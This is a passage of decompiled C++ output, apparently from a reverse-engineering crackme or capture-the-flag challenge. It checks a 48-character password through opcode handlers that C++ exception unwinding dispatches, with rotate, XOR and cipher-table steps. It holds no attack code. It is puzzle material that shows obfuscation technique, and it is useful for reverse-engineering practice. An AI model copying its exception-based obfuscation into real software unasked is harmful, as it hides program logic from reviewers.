v86 = (_QWORD *)operator new(8uLL);
sub_BB08(v86);
exception_table[74] = (__int64)v86;
v87 = (_QWORD *)operator new(8uLL);
sub_BB32(v87);
exception_table[115] = (__int64)v87;
v88 = (_QWORD *)operator new(8uLL);
sub_BB5C(v88);
exception_table[33] = (__int64)v88;
v89 = (_QWORD *)operator new(8uLL);
sub_BB86(v89);
exception_table[12] = (__int64)v89;
v90 = (_QWORD *)operator new(8uLL);
sub_BBB0(v90);
exception_table[47] = (__int64)v90;
v91 = (_QWORD *)operator new(8uLL);
sub_BBDA(v91);
exception_table[98] = (__int64)v91;
v92 = (_QWORD *)operator new(8uLL);
sub_BC04(v92);
exception_table[5] = (__int64)v92;
v93 = (_QWORD *)operator new(8uLL);
sub_BC2E(v93);
exception_table[11] = (__int64)v93;
v94 = (_QWORD *)operator new(8uLL);
sub_BC58(v94);
exception_table[34] = (__int64)v94;
v95 = (_QWORD *)operator new(8uLL);
sub_BC82(v95);
exception_table[87] = (__int64)v95;
v96 = (_QWORD *)operator new(8uLL);
sub_BCAC(v96);
exception_table[81] = (__int64)v96;
v97 = (_QWORD *)operator new(8uLL);
sub_BCD6(v97);
exception_table[53] = (__int64)v97;
v98 = (_QWORD *)operator new(8uLL);
sub_BD00(v98);
exception_table[62] = (__int64)v98;
v99 = (_QWORD *)operator new(8uLL);
sub_BD2A(v99);
exception_table[122] = (__int64)v99;
v100 = (_QWORD *)operator new(8uLL);
sub_BD54(v100);
exception_table[92] = (__int64)v100;
v101 = (_QWORD *)operator new(8uLL);
sub_BD7E(v101);
exception_table[116] = (__int64)v101;
v102 = (_QWORD *)operator new(8uLL);
sub_BDA8(v102);
exception_table[35] = (__int64)v102;
v103 = (_QWORD *)operator new(8uLL);
sub_BDD2(v103);
exception_table[110] = (__int64)v103;
v104 = (_QWORD *)operator new(8uLL);
sub_BDFC(v104);
exception_table[2] = (__int64)v104;
v105 = (_QWORD *)operator new(8uLL);
sub_BE26(v105);
exception_table[67] = (__int64)v105;
v106 = (_QWORD *)operator new(8uLL);
sub_BE50(v106);
exception_table[111] = (__int64)v106;
v107 = (_QWORD *)operator new(8uLL);
sub_BE7A(v107);
exception_table[29] = (__int64)v107;
v108 = (_QWORD *)operator new(8uLL);
sub_BEA4(v108);
exception_table[107] = (__int64)v108;
v109 = (_QWORD *)operator new(8uLL);
sub_BECE(v109);
exception_table[15] = (__int64)v109;
v110 = (_QWORD *)operator new(8uLL);
sub_BEF8(v110);
exception_table[55] = (__int64)v110;
v111 = (_QWORD *)operator new(8uLL);
sub_BF22(v111);
exception_table[20] = (__int64)v111;
v112 = (_QWORD *)operator new(8uLL);
sub_BF4C(v112);
exception_table[117] = (__int64)v112;
v113 = (_QWORD *)operator new(8uLL);
sub_BF76(v113);
exception_table[30] = (__int64)v113;
v114 = (_QWORD *)operator new(8uLL);
sub_BFA0(v114);
exception_table[38] = (__int64)v114;
v115 = (_QWORD *)operator new(8uLL);
sub_BFCA(v115);
exception_table[104] = (__int64)v115;
v116 = (_QWORD *)operator new(8uLL);
sub_BFF4(v116);
exception_table[48] = (__int64)v116;
v117 = (_QWORD *)operator new(8uLL);
sub_C01E(v117);
exception_table[106] = (__int64)v117;
v118 = (_QWORD *)operator new(8uLL);
sub_C048(v118);
exception_table[118] = (__int64)v118;
v119 = (_QWORD *)operator new(8uLL);
sub_C072(v119);
exception_table[17] = (__int64)v119;
v120 = (_QWORD *)operator new(8uLL);
sub_C09C(v120);
exception_table[121] = (__int64)v120;
v121 = (_QWORD *)operator new(8uLL);
sub_C0C6(v121);
exception_table[39] = (__int64)v121;
v122 = (_QWORD *)operator new(8uLL);
result = sub_C0F0(v122);
exception_table[40] = (__int64)v122;
return result;
}
//----- (00000000000055AF) ----------------------------------------------------
void __fastcall __noreturn do_goto(int a1)
{
struct _Unwind_Exception *v1; // rax
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(8LL);
*(_QWORD *)&v1->exception_class = exception_table[a1];
_Unwind_Resume(v1);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
//----- (0000000000005643) ----------------------------------------------------
void __noreturn nope()
{
puts("NO");
exit(0);
}
//----- (000000000000565D) ----------------------------------------------------
void __fastcall main(__int64 a1, char **a2, char **a3)
{
__int64 v3; // rdx
run_funkies();
scanf("%49s", our_password);
if ( strlen(our_password) != 48 )
nope();
v3 = *(_QWORD *)&our_password[8];
*(_QWORD *)pass_16_buf = *(_QWORD *)our_password;
*(_QWORD *)&pass_16_buf[8] = v3;
do_goto(28);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
//----- (000000000000579A) ----------------------------------------------------
__int64 __fastcall sub_579A(int a1, int a2)
{
__int64 result; // rax
if ( a1 == 1 && a2 == 0xFFFF )
{
std::ios_base::Init::Init((std::ios_base::Init *)&unk_213631);
result = __cxa_atexit(&std::ios_base::Init::~Init, &unk_213631, &off_212008);
}
return result;
}
// 4680: using guessed type __int64 __fastcall __cxa_atexit(_QWORD, _QWORD, _QWORD);
// 212008: using guessed type void *off_212008;
//----- (00000000000057E3) ----------------------------------------------------
__int64 sub_57E3()
{
return sub_579A(1, 0xFFFF);
}
//----- (00000000000057F8) ----------------------------------------------------
_QWORD *__fastcall sub_57F8(_QWORD *a1)
{
_QWORD *result; // rax
result = a1;
*a1 = &unk_211120;
return result;
}
//----- (0000000000005812) ----------------------------------------------------
void sub_5812()
{
;
}
//----- (000000000000581E) ----------------------------------------------------
void __noreturn opcode_118()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
xxx_3 = __ROL4__(xxx_3, 1);
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 46;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131CC: using guessed type int xxx_3;
//----- (00000000000058A6) ----------------------------------------------------
void __noreturn opcode_87()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
helper_1 = the_constants[BYTE1(xxx_1) + 576LL] ^ the_constants[(unsigned __int8)xxx_1 + 320LL] ^ the_constants[((unsigned int)xxx_1 >> 24) + 64LL] ^ the_constants[BYTE2(xxx_1) + 832LL];
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 0;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C4: using guessed type int xxx_1;
// 2131D4: using guessed type int helper_1;
//----- (00000000000059A2) ----------------------------------------------------
void __noreturn opcode_76()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
xxx_0 = __ROR4__(xxx_0, 1);
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 48;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C0: using guessed type int xxx_0;
//----- (0000000000005A2A) ----------------------------------------------------
void __noreturn opcode_5()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
xxx_1 = __ROL4__(xxx_1, 1);
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 41;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C4: using guessed type int xxx_1;
//----- (0000000000005AB2) ----------------------------------------------------
void __noreturn opcode_19()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
xxx_1 ^= the_constants[11] + helper_0 + 2 * helper_1;
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 55;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C4: using guessed type int xxx_1;
// 2131D0: using guessed type int helper_0;
// 2131D4: using guessed type int helper_1;
//----- (0000000000005B58) ----------------------------------------------------
void __noreturn opcode_50()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
helper_1 = the_constants[BYTE1(xxx_3) + 576LL] ^ the_constants[(unsigned __int8)xxx_3 + 320LL] ^ the_constants[((unsigned int)xxx_3 >> 24) + 64LL] ^ the_constants[BYTE2(xxx_3) + 832LL];
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 86;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131CC: using guessed type int xxx_3;
// 2131D4: using guessed type int helper_1;
//----- (0000000000005C54) ----------------------------------------------------
void __noreturn opcode_27()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
xxx_3 ^= the_constants[17] + helper_0 + 2 * helper_1;
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 91;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131CC: using guessed type int xxx_3;
// 2131D0: using guessed type int helper_0;
// 2131D4: using guessed type int helper_1;
//----- (0000000000005CFA) ----------------------------------------------------
void __noreturn opcode_103()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
xxx_0 ^= the_constants[34] + helper_1 + helper_0;
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 76;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C0: using guessed type int xxx_0;
// 2131D0: using guessed type int helper_0;
// 2131D4: using guessed type int helper_1;
//----- (0000000000005DA0) ----------------------------------------------------
void __noreturn opcode_80()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
xxx_1 ^= the_constants[19] + helper_0 + 2 * helper_1;
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 121;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C4: using guessed type int xxx_1;
// 2131D0: using guessed type int helper_0;
// 2131D4: using guessed type int helper_1;
//----- (0000000000005E46) ----------------------------------------------------
void __noreturn opcode_43()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
helper_1 = the_constants[BYTE1(xxx_1) + 576LL] ^ the_constants[(unsigned __int8)xxx_1 + 320LL] ^ the_constants[((unsigned int)xxx_1 >> 24) + 64LL] ^ the_constants[BYTE2(xxx_1) + 832LL];
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 88;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C4: using guessed type int xxx_1;
// 2131D4: using guessed type int helper_1;
//----- (0000000000005F42) ----------------------------------------------------
void __noreturn opcode_113()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
xxx_3 = __ROL4__(xxx_3, 1);
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 40;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131CC: using guessed type int xxx_3;
//----- (0000000000005FCA) ----------------------------------------------------
void __noreturn opcode_17()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
helper_1 = the_constants[BYTE1(xxx_1) + 576LL] ^ the_constants[(unsigned __int8)xxx_1 + 320LL] ^ the_constants[((unsigned int)xxx_1 >> 24) + 64LL] ^ the_constants[BYTE2(xxx_1) + 832LL];
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 12;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C4: using guessed type int xxx_1;
// 2131D4: using guessed type int helper_1;
//----- (00000000000060C6) ----------------------------------------------------
void __noreturn opcode_104()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
xxx_2 = __ROR4__(xxx_2, 1);
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 113;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C8: using guessed type int xxx_2;
//----- (000000000000614E) ----------------------------------------------------
void __noreturn opcode_122()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
helper_1 = the_constants[BYTE1(xxx_3) + 576LL] ^ the_constants[(unsigned __int8)xxx_3 + 320LL] ^ the_constants[((unsigned int)xxx_3 >> 24) + 64LL] ^ the_constants[BYTE2(xxx_3) + 832LL];
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 25;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131CC: using guessed type int xxx_3;
// 2131D4: using guessed type int helper_1;
//----- (000000000000624A) ----------------------------------------------------
void __noreturn opcode_114()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
some_shitty_16[9] = BYTE1(xxx_0);
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 90;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C0: using guessed type int xxx_0;
//----- (00000000000062D4) ----------------------------------------------------
void __noreturn opcode_6()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
xxx_3 = __ROL4__(xxx_3, 1);
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 92;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131CC: using guessed type int xxx_3;
//----- (000000000000635C) ----------------------------------------------------
void __noreturn opcode_123()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
xxx_2 = __ROR4__(xxx_2, 1);
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 93;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C8: using guessed type int xxx_2;
//----- (00000000000063E4) ----------------------------------------------------
void __noreturn opcode_35()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
xxx_2 = __ROR4__(xxx_2, 1);
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 57;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C8: using guessed type int xxx_2;
//----- (000000000000646C) ----------------------------------------------------
void __noreturn opcode_30()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
xxx_0 ^= the_constants[18] + helper_1 + helper_0;
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 96;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C0: using guessed type int xxx_0;
// 2131D0: using guessed type int helper_0;
// 2131D4: using guessed type int helper_1;
//----- (000000000000650E) ----------------------------------------------------
void __noreturn opcode_55()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
helper_0 = the_constants[BYTE2(xxx_0) + 576LL] ^ the_constants[BYTE1(xxx_0) + 320LL] ^ the_constants[(unsigned __int8)xxx_0 + 64LL] ^ the_constants[((unsigned int)xxx_0 >> 24) + 832LL];
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 94;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C0: using guessed type int xxx_0;
// 2131D0: using guessed type int helper_0;
//----- (000000000000660A) ----------------------------------------------------
void __noreturn opcode_14()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
xxx_1 ^= the_constants[39] + helper_0 + 2 * helper_1;
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 2;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C4: using guessed type int xxx_1;
// 2131D0: using guessed type int helper_0;
// 2131D4: using guessed type int helper_1;
//----- (00000000000066B2) ----------------------------------------------------
void __noreturn opcode_108()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
some_shitty_16[5] = BYTE1(xxx_3);
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 49;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131CC: using guessed type int xxx_3;
//----- (000000000000673C) ----------------------------------------------------
void __noreturn opcode_117()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
helper_0 = the_constants[BYTE2(xxx_2) + 576LL] ^ the_constants[BYTE1(xxx_2) + 320LL] ^ the_constants[(unsigned __int8)xxx_2 + 64LL] ^ the_constants[((unsigned int)xxx_2 >> 24) + 832LL];
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 67;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C8: using guessed type int xxx_2;
// 2131D0: using guessed type int helper_0;
//----- (0000000000006838) ----------------------------------------------------
void __noreturn opcode_3()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
xxx_1 = __ROL4__(xxx_1, 1);
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 18;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C4: using guessed type int xxx_1;
//----- (00000000000068C0) ----------------------------------------------------
void __noreturn opcode_28()
{
_QWORD *v0; // rbx
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
signed int i; // [rsp+1Ch] [rbp-14h]
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
for ( i = 0; i <= 15; ++i )
pass_16_buf[i] ^= some_shitty_16[i];
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 51;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
//----- (0000000000006982) ----------------------------------------------------
void __noreturn opcode_109()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
xxx_2 = (((unsigned __int8)pass_16_buf[11] << 24) | ((unsigned __int8)pass_16_buf[10] << 16) | *(unsigned __int16 *)&pass_16_buf[8]) ^ the_constants[2];
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 1;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C8: using guessed type int xxx_2;
//----- (0000000000006A46) ----------------------------------------------------
void __noreturn opcode_26()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
xxx_2 ^= the_constants[28] + helper_1 + helper_0;
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 66;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C8: using guessed type int xxx_2;
// 2131D0: using guessed type int helper_0;
// 2131D4: using guessed type int helper_1;
//----- (0000000000006AE8) ----------------------------------------------------
void __noreturn opcode_90()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
some_shitty_16[10] = BYTE2(xxx_0);
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 10;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
